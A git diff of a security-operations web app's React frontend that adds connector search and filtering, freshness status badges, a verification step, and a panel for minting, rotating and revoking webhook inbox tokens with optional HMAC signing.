+ {step === 'pick'
+ ? 'Add connector'
+ : step === 'configure'
+ ? `Configure ${selected?.connector_name ?? ''}`
+ : `Verifying ${createdConnector?.name ?? ''}`}
</h2>
<p className="text-xs text-gray-500 mt-0.5">
{step === 'pick'
? 'Pick a security tool to connect. Credentials are encrypted with the AiSOC vault.'
- : 'Credentials are tested against the upstream API and only saved on success.'}
+ : step === 'configure'
+ ? 'Credentials are tested against the upstream API and only saved on success.'
+ : 'Watching for the first event to land. This is normally seconds for high-volume sources.'}
</p>
</div>
<button
@@ -555,18 +1498,86 @@ export function AddConnectorModal({ open, onClose, onCreated }: AddConnectorModa
{/* Body */}
<div className="flex-1 overflow-y-auto px-6 py-5">
- {step === 'pick' &&
- (catalog === null && !catalogError ? (
- <div className="flex items-center justify-center h-32 text-gray-600">
- <div className="animate-spin w-6 h-6 border-2 border-blue-500 border-t-transparent rounded-full" />
- </div>
- ) : catalogError ? (
- <div className="text-sm text-red-300 bg-red-500/10 border border-red-500/20 rounded-lg p-4">
- Failed to load connector catalog: {catalogError}
+ {step === 'pick' && (
+ <div className="space-y-4">
+ {/* Search field — surfaced above the grid so operators
+ with a long catalog can jump straight to e.g.
+ "crowdstrike" without scrolling past unrelated
+ categories. */}
+ <div className="relative">
+ <svg
+ className="absolute left-3 top-1/2 -translate-y-1/2 h-4 w-4 text-gray-600"
+ fill="none"
+ viewBox="0 0 24 24"
+ stroke="currentColor"
+ >
+ <path
+ strokeLinecap="round"
+ strokeLinejoin="round"
+ strokeWidth={2}
+ d="M21 21l-4.35-4.35m0 0A7.5 7.5 0 103.5 10.5a7.5 7.5 0 0013.15 6.15z"
+ />
+ </svg>
+ <input
+ type="search"
+ value={query}
+ onChange={(e) => setQuery(e.target.value)}
+ placeholder="Search by name, vendor, or capability"
+ className="w-full bg-gray-950/60 border border-gray-800 rounded-lg pl-9 pr-3 py-2 text-sm text-gray-100 placeholder-gray-600 focus:outline-none focus:border-blue-500/60 focus:ring-1 focus:ring-blue-500/30"
+ autoFocus
+ />
</div>
- ) : (
- <CatalogGrid entries={catalog ?? []} onPick={handlePick} />
- ))}
+
+ {/* Active category chip — shows when /onboarding handed
+ us a category to filter to. Clicking the X drops the
+ filter so the operator can browse the full catalog. */}
+ {categoryFilter && (
+ <div className="flex items-center gap-2 text-xs text-gray-400">
+ <span>Filtered to</span>
+ <button
+ type="button"
+ onClick={() => setCategoryFilter(null)}
+ className="inline-flex items-center gap-1.5 rounded-full bg-blue-500/10 border border-blue-500/30 text-blue-200 px-2.5 py-0.5 hover:bg-blue-500/20 transition-colors"
+ title="Clear category filter"
+ >
+ <span className="font-medium">
+ {CATEGORY_LABEL[categoryFilter] ?? categoryFilter}
+ </span>
+ <svg
+ className="h-3 w-3"
+ fill="none"
+ viewBox="0 0 24 24"
+ stroke="currentColor"
+ >
+ <path
+ strokeLinecap="round"
+ strokeLinejoin="round"
+ strokeWidth={2}
+ d="M6 18L18 6M6 6l12 12"
+ />
+ </svg>
+ </button>
+ </div>
+ )}
+
+ {catalog === null && !catalogError ? (
+ <div className="flex items-center justify-center h-32 text-gray-600">
+ <div className="animate-spin w-6 h-6 border-2 border-blue-500 border-t-transparent rounded-full" />
+ </div>
+ ) : catalogError ? (
+ <div className="text-sm text-red-300 bg-red-500/10 border border-red-500/20 rounded-lg p-4">
+ Failed to load connector catalog: {catalogError}
+ </div>
+ ) : (
+ <CatalogGrid
+ entries={catalog ?? []}
+ onPick={handlePick}
+ query={query}
+ categoryFilter={categoryFilter}
+ />
+ )}
+ </div>
+ )}
{step === 'configure' && selected && (
<ConfigStep
@@ -575,8 +1586,13 @@ export function AddConnectorModal({ open, onClose, onCreated }: AddConnectorModa
setValues={setValues}
instanceName={instanceName}
setInstanceName={setInstanceName}
+ testResult={testResult}
/>
)}
+
+ {step === 'verify' && createdConnector && (
+ <VerifyStep connector={createdConnector} onDone={handleDoneVerify} />
+ )}
</div>
{/* Footer */}
@@ -595,7 +1611,7 @@ export function AddConnectorModal({ open, onClose, onCreated }: AddConnectorModa
Cancel
</button>
</>
- ) : (
+ ) : step === 'configure' ? (
<>
<div className="flex items-center gap-2 min-w-0">
<button
@@ -647,6 +1663,14 @@ export function AddConnectorModal({ open, onClose, onCreated }: AddConnectorModa
</button>
</div>
</>
+ ) : (
+ // Verify step has its own action button inside VerifyStep
+ // (the centered "Done" / "Close" CTA), so the footer just
+ // shows secondary status. Keeping a lightweight footer
+ // preserves visual rhythm with the previous two steps.
+ <p className="text-xs text-gray-600">
+ Verification continues in the background even after you close.
+ </p>
)}
</div>
</div>
diff --git a/apps/web/src/components/connectors/ConnectorInstanceList.tsx b/apps/web/src/components/connectors/ConnectorInstanceList.tsx
index 29922e783..4e2e98d9b 100644
--- a/apps/web/src/components/connectors/ConnectorInstanceList.tsx
+++ b/apps/web/src/components/connectors/ConnectorInstanceList.tsx
@@ -75,6 +75,46 @@ function formatLastSync(ts?: string): string {
return `${Math.floor(hrs / 24)}d ago`;
}
+/**
+ * Render a duration in seconds as a short, human-readable label.
+ *
+ * Used by the freshness badge tooltip ("Last event 2m ago, expected
+ * every 5m"). Kept tiny on purpose — the badge text itself is sized to
+ * fit alongside the schema-drift pill, so anything longer than `12m`
+ * starts wrapping the row.
+ */
+function formatDurationSeconds(secs: number | null | undefined): string {
+ if (secs == null) return 'never';
+ if (secs < 60) return `${secs}s`;
+ if (secs < 3600) return `${Math.floor(secs / 60)}m`;
+ if (secs < 86400) {
+ const h = Math.floor(secs / 3600);
+ const m = Math.floor((secs % 3600) / 60);
+ return m > 0 ? `${h}h ${m}m` : `${h}h`;
+ }
+ return `${Math.floor(secs / 86400)}d`;
+}
+
+/**
+ * Tailwind classes for the three rendered freshness states.
+ *
+ * Centralised so the legend in docs/connectors/freshness-slos.md can
+ * mirror these exact swatches. ``unknown`` deliberately has no row —
+ * we don't render that variant so a freshly-saved connector with no
+ * events yet looks clean instead of being painted gray "stale."
+ */
+const FRESHNESS_BADGE_STYLES: Record<'green' | 'yellow' | 'red', string> = {
+ green: 'text-emerald-300 bg-emerald-500/10 border-emerald-500/30',
+ yellow: 'text-amber-300 bg-amber-500/10 border-amber-500/30',
+ red: 'text-red-300 bg-red-500/10 border-red-500/30',
+};
+
+const FRESHNESS_BADGE_LABELS: Record<'green' | 'yellow' | 'red', string> = {
+ green: 'Fresh',
+ yellow: 'Late',
+ red: 'Stalled',
+};
+
function abbreviateType(type: string | undefined): string {
if (!type) return '???';
if (CONNECTOR_LABELS[type]) return CONNECTOR_LABELS[type];
@@ -126,6 +166,24 @@ function ConnectorCard({
.join(' • ')
: '';
+ // Freshness SLO badge: server computes the verdict from ``last_event_at``
+ // against a per-category cadence table (5m EDR, 15m SIEM, 30m SaaS, 1h
+ // vuln, etc.) so a Splunk that polls slowly doesn't drag CrowdStrike's
+ // status down. We only render green/yellow/red — ``unknown`` (newly
+ // configured, no events yet) is already conveyed by "Last sync: never"
+ // and adding a gray badge there would be visual noise.
+ const freshness = connector.freshness;
+ const showFreshnessBadge =
+ freshness && (freshness.status === 'green' || freshness.status === 'yellow' || freshness.status === 'red');
+ const freshnessTooltip = freshness
+ ? [
+ freshness.seconds_since_last_event != null
+ ? `Last event ${formatDurationSeconds(freshness.seconds_since_last_event)} ago`
+ : 'No events received yet',
+ `expected every ${formatDurationSeconds(freshness.expected_cadence_seconds)}`,
+ ].join(', ')
+ : '';
+
return (
<div className="bg-gray-900/60 border border-gray-800/60 rounded-xl p-5 hover:border-gray-700/60 transition-colors flex flex-col">
<div className="flex items-start justify-between mb-3">
@@ -154,10 +212,36 @@ function ConnectorCard({
<p className="text-xs text-gray-500 mb-4 line-clamp-2">{connector.description}</p>
)}
- {/* Schema-drift + filter-drop badges. Only render when there is
- something to surface so a healthy connector keeps its clean look. */}
- {(driftAt || eventsDropped > 0) && (
+ {/* Schema-drift, filter-drop, and freshness SLO badges. Only render
+ when there is something to surface so a healthy, fresh connector
+ keeps its clean look. */}
+ {(driftAt || eventsDropped > 0 || showFreshnessBadge) && (
<div className="flex flex-wrap gap-1.5 mb-3">
+ {showFreshnessBadge && freshness && (
+ <span
+ title={freshnessTooltip}
+ className={clsx(
+ 'text-[10px] px-2 py-0.5 rounded-full border inline-flex items-center gap-1',
+ FRESHNESS_BADGE_STYLES[
+ freshness.status as 'green' | 'yellow' | 'red'
+ ],
+ )}
+ >
+ <svg className="w-3 h-3" fill="none" viewBox="0 0 24 24" stroke="currentColor">
+ <path
+ strokeLinecap="round"
+ strokeLinejoin="round"
+ strokeWidth={2}
+ d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z"
+ />
+ </svg>
+ {
+ FRESHNESS_BADGE_LABELS[
+ freshness.status as 'green' | 'yellow' | 'red'
+ ]
+ }
+ </span>
+ )}
{driftAt && (
<span
title={driftTooltip}
diff --git a/apps/web/src/components/connectors/ConnectorsView.tsx b/apps/web/src/components/connectors/ConnectorsView.tsx
index ac3fc650a..1061ea706 100644
--- a/apps/web/src/components/connectors/ConnectorsView.tsx
+++ b/apps/web/src/components/connectors/ConnectorsView.tsx
@@ -28,6 +28,7 @@ import {
import { ErrorState } from '@/components/ui/ErrorState';
import { AddConnectorModal } from './AddConnectorModal';
import { ConnectorInstanceList } from './ConnectorInstanceList';
+import { InboxTokensPanel } from './InboxTokensPanel';
const DEMO_CONNECTORS: Connector[] = [
{
@@ -282,6 +283,11 @@ export function ConnectorsView() {
/>
)}
+ {/* Universal capture (push) — collapsed by default. Sits below the
+ poll-based connector list so the catalog stays the primary path
+ and "push for everything else" is one click away. */}
+ <InboxTokensPanel />
+
{/* Add modal */}
<AddConnectorModal
open={modalOpen}
diff --git a/apps/web/src/components/connectors/InboxTokensPanel.tsx b/apps/web/src/components/connectors/InboxTokensPanel.tsx
new file mode 100644
index 000000000..e2a86bc82
--- /dev/null
+++ b/apps/web/src/components/connectors/InboxTokensPanel.tsx
@@ -0,0 +1,724 @@
+'use client';
+
+/**
+ * Universal-capture (Workstream 6) — operator surface for inbox tokens.
+ *
+ * For closed-proprietary tools we can't read or OAuth into, AiSOC mints a
+ * per-tenant rotatable inbox URL. The vendor's existing webhook config
+ * gets pointed at that URL; ``services/ingest`` resolves the token to a
+ * tenant + vendor template and reuses the existing OCSF + Kafka pipeline.
+ *
+ * This component is the *management* UI: list templates, mint tokens,
+ * copy the resulting URL exactly once, rotate or revoke. The "create"
+ * flow looks like a modal because:
+ *
+ * 1. The plaintext token + URL are shown exactly once. We need a
+ * dedicated dismissable surface so the operator can copy them
+ * before they're permanently gone.
+ * 2. The "rotate" flow has the same one-shot disclosure shape, so
+ * reusing the modal halves the disclosure UI.
+ *
+ * No SSR — entirely client-side, pure react-hooks. Mounting state is
+ * keyed on ``open`` so we never run requests for a closed panel.
+ */
+
+import { useCallback, useEffect, useMemo, useState } from 'react';
+import { AnimatePresence, motion } from 'framer-motion';
+import { clsx } from 'clsx';
+import toast from 'react-hot-toast';
+
+import {
+ inboxApi,
+ ApiError,
+ type InboxTemplate,
+ type InboxTokenListItem,
+ type InboxTokenSecret,
+} from '@/lib/api';
+
+// ─── helpers ──────────────────────────────────────────────────────────────
+
+function categoryLabel(cat: string): string {
+ switch (cat) {
+ case 'alerting':
+ return 'Alerting';
+ case 'cloud':
+ return 'Cloud';
+ case 'email':
+ return 'Email';
+ case 'generic':
+ return 'Generic';
+ case 'network':
+ return 'Network';
+ case 'siem':
+ return 'SIEM / Syslog';
+ case 'vcs':
+ return 'Source control';
+ default:
+ return cat;
+ }
+}
+
+const CATEGORY_ORDER: string[] = [
+ 'generic',
+ 'alerting',
+ 'siem',
+ 'cloud',
+ 'email',
+ 'vcs',
+ 'network',
+];
+
+function formatRelative(iso: string | null): string {
+ if (!iso) return '—';
+ const ms = Date.now() - new Date(iso).getTime();
+ if (Number.isNaN(ms)) return '—';
+ const sec = Math.round(ms / 1000);
+ if (sec < 60) return `${sec}s ago`;
+ const min = Math.round(sec / 60);
+ if (min < 60) return `${min}m ago`;
+ const hr = Math.round(min / 60);
+ if (hr < 48) return `${hr}h ago`;
+ const day = Math.round(hr / 24);
+ if (day < 30) return `${day}d ago`;
+ return new Date(iso).toLocaleDateString();
+}
+
+async function copyToClipboard(text: string): Promise<boolean> {
+ try {
+ await navigator.clipboard.writeText(text);
+ return true;
+ } catch {
+ return false;
+ }
+}
+
+// ─── one-shot disclosure modal ────────────────────────────────────────────
+
+/**
+ * Shown after a successful mint or rotate. Plaintext token / URL appears
+ * here exactly once — closing this modal makes them permanently
+ * unrecoverable, hence the loud copy buttons + warning.
+ */
+function SecretDisclosureModal({
+ secret,
+ onClose,
+}: {
+ secret: InboxTokenSecret;
+ onClose: () => void;
+}) {
+ const handleCopy = async (text: string, label: string) => {
+ const ok = await copyToClipboard(text);
+ if (ok) toast.success(`Copied ${label}`);
+ else toast.error(`Couldn't copy ${label} — copy by hand`);
+ };
+
+ return (
+ <AnimatePresence>
+ <motion.div
+ className="fixed inset-0 z-[80] flex items-center justify-center bg-black/70 px-4"
+ initial={{ opacity: 0 }}
+ animate={{ opacity: 1 }}
+ exit={{ opacity: 0 }}
+ >
+ <motion.div
+ className="w-full max-w-xl rounded-xl border border-amber-500/30 bg-gray-900 p-5 shadow-2xl"
+ initial={{ y: 20, opacity: 0 }}
+ animate={{ y: 0, opacity: 1 }}
+ exit={{ y: 20, opacity: 0 }}
+ >
+ <div className="flex items-start justify-between gap-3 mb-3">
+ <div>
+ <h3 className="text-base font-semibold text-amber-200">
+ Copy this URL — it won&apos;t be shown again
+ </h3>
+ <p className="text-xs text-gray-400 mt-1">
+ Paste the URL into your vendor&apos;s webhook configuration. AiSOC
+ stores only a fingerprint after this dialog closes; if you
+ lose it, rotate the token to mint a new one.
+ </p>
+ </div>
+ <button
+ type="button"
+ onClick={onClose}
+ className="text-gray-500 hover:text-gray-300 text-lg leading-none"
+ aria-label="Close"
+ >
+ ×
+ </button>
+ </div>
+
+ <label className="block text-xs text-gray-400 mb-1">
+ Inbox URL
+ </label>
+ <div className="flex gap-2 mb-3">
+ <input
+ readOnly
+ value={secret.inbox_url}
+ className="flex-1 bg-gray-950 border border-gray-700 rounded-md px-2 py-1.5 text-xs text-gray-100 font-mono"
+ onFocus={(e) => e.currentTarget.select()}
+ />
+ <button
+ type="button"
+ onClick={() => handleCopy(secret.inbox_url, 'URL')}
+ className="bg-blue-600 hover:bg-blue-500 text-white text-xs px-3 py-1.5 rounded-md"
+ >
+ Copy URL
+ </button>
+ </div>
+
+ <label className="block text-xs text-gray-400 mb-1">
+ Token (already embedded in URL — exposed for SDK / scripted setups)
+ </label>
+ <div className="flex gap-2 mb-3">
+ <input
+ readOnly
+ value={secret.token}
+ className="flex-1 bg-gray-950 border border-gray-700 rounded-md px-2 py-1.5 text-xs text-gray-100 font-mono"
+ onFocus={(e) => e.currentTarget.select()}
+ />
+ <button
+ type="button"
+ onClick={() => handleCopy(secret.token, 'token')}
+ className="bg-gray-700 hover:bg-gray-600 text-white text-xs px-3 py-1.5 rounded-md"
+ >
+ Copy token
+ </button>
+ </div>
+
+ {secret.has_hmac_secret && (
+ <p className="text-xs text-gray-400 mb-3">
+ HMAC verification is enabled. Configure your vendor to sign
+ requests with header <code className="text-amber-200">X-Signature</code>{' '}
+ or <code className="text-amber-200">X-Hub-Signature-256</code>.
+ </p>
+ )}
+
+ <div className="flex justify-end pt-2 border-t border-gray-800">
+ <button
+ type="button"
+ onClick={onClose}
+ className="bg-gray-700 hover:bg-gray-600 text-white text-sm px-4 py-1.5 rounded-md"
+ >
+ Done
+ </button>
+ </div>
+ </motion.div>
+ </motion.div>
+ </AnimatePresence>
+ );
+}
+
+// ─── mint form ────────────────────────────────────────────────────────────
+
+function MintForm({
+ templates,
+ onCreated,
+}: {
+ templates: InboxTemplate[];
+ onCreated: (secret: InboxTokenSecret) => void;
+}) {
+ const [templateId, setTemplateId] = useState<string>('');
+ const [label, setLabel] = useState<string>('');
+ const [hmacEnabled, setHmacEnabled] = useState<boolean>(false);
+ const [hmacSecret, setHmacSecret] = useState<string>('');
+ const [submitting, setSubmitting] = useState<boolean>(false);
+
+ // Default to the first template in the catalog so the form is usable
+ // without having to scroll the picker first.
+ useEffect(() => {
+ if (!templateId && templates.length > 0) {
+ setTemplateId(templates[0].template_id);
+ }
+ }, [templates, templateId]);
+
+ const grouped = useMemo(() => {
+ const groups: Record<string, InboxTemplate[]> = {};
+ for (const t of templates) {
+ if (!groups[t.category]) groups[t.category] = [];
+ groups[t.category].push(t);
+ }
+ return groups;
+ }, [templates]);
+
+ const orderedCategories = useMemo(() => {
+ const known = CATEGORY_ORDER.filter((c) => grouped[c]);
+ const extra = Object.keys(grouped).filter((c) => !CATEGORY_ORDER.includes(c));
+ return [...known, ...extra];
+ }, [grouped]);
+
+ const selected = templates.find((t) => t.template_id === templateId);
+
+ const handleSubmit = useCallback(
+ async (e: React.FormEvent) => {
+ e.preventDefault();
+ if (!templateId) {
+ toast.error('Pick a vendor template first');
+ return;
+ }
+ if (hmacEnabled && hmacSecret.trim().length < 16) {
+ toast.error('HMAC secret must be at least 16 characters');
+ return;
+ }
+ setSubmitting(true);
+ try {
+ const secret = await inboxApi.mint({
+ template_id: templateId,
+ label: label.trim() || null,
+ hmac_secret: hmacEnabled ? hmacSecret.trim() : null,
+ });
+ toast.success(`Minted ${selected?.label ?? templateId} URL`);
+ // Reset only after success — preserve form on error so the
+ // operator can fix the input without re-typing.
+ setLabel('');
+ setHmacEnabled(false);
+ setHmacSecret('');
+ onCreated(secret);
+ } catch (err) {
+ const msg =
+ err instanceof ApiError
+ ? err.message
+ : err instanceof Error
+ ? err.message
+ : 'Failed to mint inbox URL';
+ toast.error(msg);
+ } finally {
+ setSubmitting(false);
+ }
+ },
+ [hmacEnabled, hmacSecret, label, onCreated, selected, templateId],
+ );
+
+ return (
+ <form
+ onSubmit={handleSubmit}
+ className="rounded-xl border border-gray-800 bg-gray-900/40 p-4 space-y-4"
+ >
+ <div>
+ <label className="block text-xs text-gray-400 mb-1.5">
+ Vendor template
+ </label>
+ <select
+ value={templateId}
+ onChange={(e) => setTemplateId(e.target.value)}
+ className="w-full bg-gray-950 border border-gray-700 rounded-md px-2 py-1.5 text-sm text-gray-100"
+ >
+ {orderedCategories.map((cat) => (
+ <optgroup key={cat} label={categoryLabel(cat)}>
+ {grouped[cat].map((t) => (
+ <option key={t.template_id} value={t.template_id}>
+ {t.label}
+ </option>
+ ))}
+ </optgroup>
+ ))}
+ </select>
+ {selected && (
+ <p className="text-xs text-gray-500 mt-1.5">{selected.description}</p>
+ )}
+ </div>
+
+ <div>
+ <label className="block text-xs text-gray-400 mb-1.5">
+ Label (optional)
+ </label>
+ <input
+ type="text"
+ value={label}
+ onChange={(e) => setLabel(e.target.value)}
+ placeholder="PagerDuty on-call"
+ className="w-full bg-gray-950 border border-gray-700 rounded-md px-2 py-1.5 text-sm text-gray-100"
+ />
+ <p className="text-xs text-gray-500 mt-1">
+ Helps you tell tokens apart when the same template is used by
+ multiple vendors or environments.
+ </p>
+ </div>
+
+ <div>
+ <label className="flex items-center gap-2 text-xs text-gray-300">
+ <input
+ type="checkbox"
+ checked={hmacEnabled}
+ onChange={(e) => setHmacEnabled(e.target.checked)}
+ className="accent-blue-500"
+ />
+ Require HMAC signature on inbound requests
+ </label>
+ <p className="text-xs text-gray-500 mt-1 pl-6">
+ Recommended when the vendor supports it. Without HMAC the URL
+ token is the sole authenticator.
+ </p>
+ {hmacEnabled && (
+ <input
+ type="password"
+ value={hmacSecret}
+ onChange={(e) => setHmacSecret(e.target.value)}
+ placeholder="Shared secret (≥ 16 chars)"
+ className="mt-2 w-full bg-gray-950 border border-gray-700 rounded-md px-2 py-1.5 text-sm text-gray-100 font-mono"
+ minLength={16}
+ maxLength={512}
+ />
+ )}
+ </div>
+
+ <div className="flex justify-end pt-2 border-t border-gray-800">
+ <button
+ type="submit"
+ disabled={submitting || !templateId}
+ className={clsx(
+ 'text-sm px-4 py-1.5 rounded-md text-white transition-colors',
+ submitting || !templateId
+ ? 'bg-blue-700/50 cursor-not-allowed'
+ : 'bg-blue-600 hover:bg-blue-500',
+ )}
+ >
+ {submitting ? 'Minting…' : 'Mint URL'}
+ </button>
+ </div>
+ </form>
+ );
+}
+
+// ─── token list ───────────────────────────────────────────────────────────
+
+function TokensTable({
+ tokens,
+ templates,
+ onRotate,
+ onRevoke,
+ busyFingerprint,
+}: {
+ tokens: InboxTokenListItem[];
+ templates: InboxTemplate[];
+ onRotate: (fp: string) => void | Promise<void>;
+ onRevoke: (fp: string) => void | Promise<void>;
+ busyFingerprint: string | null;
+}) {
+ const labelFor = (templateId: string): string => {
+ return (
+ templates.find((t) => t.template_id === templateId)?.label ?? templateId
+ );
+ };
+
+ if (tokens.length === 0) {
+ return (
+ <div className="rounded-xl border border-dashed border-gray-800 bg-gray-900/30 p-6 text-center">
+ <p className="text-sm text-gray-400">No inbox URLs yet.</p>
+ <p className="text-xs text-gray-500 mt-1">
+ Mint one above to give a vendor a place to push alerts.
+ </p>
+ </div>
+ );
+ }
+
+ return (
+ <div className="rounded-xl border border-gray-800 bg-gray-900/40 overflow-hidden">
+ <table className="w-full text-xs">
+ <thead className="bg-gray-900/80 text-gray-500 uppercase tracking-wide">
+ <tr>
+ <th className="text-left px-3 py-2 font-medium">Template</th>
+ <th className="text-left px-3 py-2 font-medium">Label</th>
+ <th className="text-left px-3 py-2 font-medium">Fingerprint</th>
+ <th className="text-left px-3 py-2 font-medium">HMAC</th>
+ <th className="text-left px-3 py-2 font-medium">Created</th>
+ <th className="text-left px-3 py-2 font-medium">Last used</th>
+ <th className="text-right px-3 py-2 font-medium">Actions</th>
+ </tr>
+ </thead>
+ <tbody className="divide-y divide-gray-800/80">
+ {tokens.map((t) => {
+ const busy = busyFingerprint === t.fingerprint;
+ return (
+ <tr key={t.fingerprint} className="text-gray-200">
+ <td className="px-3 py-2">{labelFor(t.template_id)}</td>
+ <td className="px-3 py-2 text-gray-400">{t.label ?? '—'}</td>
+ <td className="px-3 py-2 font-mono text-gray-400">
+ {t.fingerprint}
+ </td>
+ <td className="px-3 py-2">
+ {t.has_hmac_secret ? (
+ <span className="inline-flex items-center gap-1 text-emerald-300">
+ <span className="w-1.5 h-1.5 rounded-full bg-emerald-400" />
+ on
+ </span>
+ ) : (
+ <span className="text-gray-500">off</span>
+ )}
+ </td>
+ <td className="px-3 py-2 text-gray-400">
+ {formatRelative(t.created_at)}
+ </td>
+ <td className="px-3 py-2 text-gray-400">
+ {formatRelative(t.last_used_at)}
+ </td>
+ <td className="px-3 py-2 text-right">
+ <div className="flex justify-end gap-1.5">
+ <button
+ type="button"
+ disabled={busy}
+ onClick={() => onRotate(t.fingerprint)}
+ className={clsx(
+ 'text-xs px-2 py-1 rounded-md',
+ busy
+ ? 'bg-gray-800 text-gray-500 cursor-not-allowed'
+ : 'bg-gray-800 hover:bg-gray-700 text-gray-200',
+ )}
+ title="Mint a new token with the same template/label/HMAC and revoke this one"
+ >
+ Rotate
+ </button>
+ <button
+ type="button"
+ disabled={busy}
+ onClick={() => onRevoke(t.fingerprint)}
+ className={clsx(
+ 'text-xs px-2 py-1 rounded-md',
+ busy
+ ? 'bg-gray-800 text-gray-500 cursor-not-allowed'
+ : 'bg-red-600/20 hover:bg-red-600/30 text-red-300',
+ )}
+ title="Permanently revoke this token. Vendor traffic will be rejected."
+ >
+ Revoke
+ </button>
+ </div>
+ </td>
+ </tr>
+ );
+ })}
+ </tbody>
+ </table>
+ </div>
+ );
+}
+
+// ─── outer panel ──────────────────────────────────────────────────────────
+
+/**
+ * Top-level panel rendered by the Connectors page.
+ *
+ * Lazy-loads templates + tokens the first time it expands so the
+ * Connectors page stays cheap on initial render. Expansion state is
+ * deliberately *not* persisted — operators rarely return to it twice in
+ * a session, and a default-collapsed UI keeps the page from feeling
+ * busy when the catalog already covers their tools.
+ */
+export function InboxTokensPanel() {
+ const [open, setOpen] = useState<boolean>(false);
+ const [templates, setTemplates] = useState<InboxTemplate[]>([]);
+ const [tokens, setTokens] = useState<InboxTokenListItem[]>([]);
+ const [loading, setLoading] = useState<boolean>(false);
+ const [loadError, setLoadError] = useState<string | null>(null);
+ const [busyFingerprint, setBusyFingerprint] = useState<string | null>(null);
+ const [disclosed, setDisclosed] = useState<InboxTokenSecret | null>(null);
+
+ const refresh = useCallback(async () => {
+ setLoading(true);
+ setLoadError(null);
+ try {
+ const [tmpl, toks] = await Promise.all([
+ inboxApi.templates(),
+ inboxApi.list(),
+ ]);
+ setTemplates(tmpl);
+ setTokens(toks);
+ } catch (err) {
+ const msg =
+ err instanceof ApiError
+ ? err.message
+ : err instanceof Error
+ ? err.message
+ : 'Failed to load inbox tokens';
+ setLoadError(msg);
+ } finally {
+ setLoading(false);
+ }
+ }, []);
+
+ // Lazy-load only after the operator opens the panel — keeps the
+ // Connectors page render cheap when nothing is using universal
+ // capture yet.
+ useEffect(() => {
+ if (open && templates.length === 0 && !loading && !loadError) {
+ void refresh();
+ }
+ }, [loadError, loading, open, refresh, templates.length]);
+
+ const handleCreated = useCallback(
+ async (secret: InboxTokenSecret) => {
+ setDisclosed(secret);
+ // Reload the list in the background so the new fingerprint shows
+ // up by the time the disclosure modal closes.
+ void refresh();
+ },
+ [refresh],
+ );
+
+ const handleRotate = useCallback(
+ async (fingerprint: string) => {
+ setBusyFingerprint(fingerprint);
+ try {
+ const secret = await inboxApi.rotate(fingerprint);
+ toast.success('Rotated — copy the new URL before closing');
+ setDisclosed(secret);
+ await refresh();
+ } catch (err) {
+ const msg =
+ err instanceof ApiError
+ ? err.message
+ : err instanceof Error
+ ? err.message
+ : 'Failed to rotate token';
+ toast.error(msg);
+ } finally {
+ setBusyFingerprint(null);
+ }
+ },
+ [refresh],
+ );
+
+ const handleRevoke = useCallback(
+ async (fingerprint: string) => {
+ const ok = window.confirm(
+ 'Revoke this inbox URL? Vendor traffic to it will be rejected immediately. This cannot be undone — you would need to mint a new URL and reconfigure the vendor.',
+ );
+ if (!ok) return;
+
+ setBusyFingerprint(fingerprint);
+ try {
+ await inboxApi.revoke(fingerprint);
+ toast.success('Token revoked');
+ await refresh();
+ } catch (err) {
+ const msg =
+ err instanceof ApiError
+ ? err.message
+ : err instanceof Error
+ ? err.message
+ : 'Failed to revoke token';
+ toast.error(msg);
+ } finally {
+ setBusyFingerprint(null);
+ }
+ },
+ [refresh],
+ );
+
+ const activeCount = useMemo(
+ () => tokens.filter((t) => t.revoked_at == null).length,
+ [tokens],
+ );
+
+ return (
+ <div className="rounded-xl border border-gray-800/60 bg-gray-900/40">
+ <button
+ type="button"
+ onClick={() => setOpen((prev) => !prev)}
+ className="w-full flex items-center justify-between px-4 py-3 text-left"
+ aria-expanded={open}
+ >
+ <div className="flex items-center gap-3">
+ <span
+ className={clsx(
+ 'inline-flex h-7 w-7 items-center justify-center rounded-md',
+ 'bg-blue-500/15 text-blue-300',
+ )}
+ >
+ <svg
+ className="w-4 h-4"
+ fill="none"
+ viewBox="0 0 24 24"
+ stroke="currentColor"
+ >
+ <path
+ strokeLinecap="round"
+ strokeLinejoin="round"
+ strokeWidth={2}
+ d="M13 5l7 7-7 7M5 5l7 7-7 7"
+ />
+ </svg>
+ </span>
+ <div>
+ <h2 className="text-sm font-semibold text-gray-100">
+ Universal capture (push)
+ </h2>
+ <p className="text-xs text-gray-500 mt-0.5">
+ Mint webhook URLs for any vendor that can POST JSON, send
+ email, or speak CEF/HEC. {open ? '' : `${activeCount} active`}
+ </p>
+ </div>
+ </div>
+ <svg
+ className={clsx(
+ 'w-4 h-4 text-gray-500 transition-transform',
+ open ? 'rotate-180' : '',
+ )}
+ fill="none"
+ viewBox="0 0 24 24"
+ stroke="currentColor"
+ >
+ <path
+ strokeLinecap="round"
+ strokeLinejoin="round"
+ strokeWidth={2}
+ d="M19 9l-7 7-7-7"
+ />
+ </svg>
+ </button>
+
+ <AnimatePresence initial={false}>
+ {open && (
+ <motion.div
+ key="inbox-body"
+ initial={{ height: 0, opacity: 0 }}
+ animate={{ height: 'auto', opacity: 1 }}
+ exit={{ height: 0, opacity: 0 }}
+ transition={{ duration: 0.18 }}
+ className="overflow-hidden"
+ >
+ <div className="px-4 pb-4 space-y-4 border-t border-gray-800/60 pt-4">
+ {loadError && (
+ <div className="rounded-md border border-amber-500/30 bg-amber-500/5 px-3 py-2 text-xs text-amber-200">
+ {loadError}{' '}
+ <button
+ type="button"
+ onClick={() => void refresh()}
+ className="underline ml-1 hover:text-amber-100"
+ >
+ Retry
+ </button>
+ </div>
+ )}
+ {loading && templates.length === 0 ? (
+ <div className="text-xs text-gray-500 py-4 text-center">
+ Loading…
+ </div>
+ ) : (
+ <>
+ <MintForm
+ templates={templates}
+ onCreated={handleCreated}
+ />
+ <TokensTable
+ tokens={tokens}
+ templates={templates}
+ onRotate={handleRotate}
+ onRevoke={handleRevoke}
+ busyFingerprint={busyFingerprint}
+ />
+ </>
+ )}
+ </div>
+ </motion.div>
+ )}
+ </AnimatePresence>
+
+ {disclosed && (
+ <SecretDisclosureModal
+ secret={disclosed}
+ onClose={() => setDisclosed(null)}
+ />
+ )}
+ </div>
+ );
+}
diff --git a/apps/web/src/components/layout/Sidebar.tsx b/apps/web/src/components/layout/Sidebar.tsx
index b7b4184cb..c2744a788 100644
--- a/apps/web/src/components/layout/Sidebar.tsx
+++ b/apps/web/src/components/layout/Sidebar.tsx
@@ -231,6 +231,11 @@ const navSections: NavSection[] = [
{
title: 'Platform',
items: [
+ {
+ label: 'Get started',
+ href: '/onboarding',
+ icon: <SparklesIcon />,
+ },
{
label: 'Connectors',
href: '/connectors',
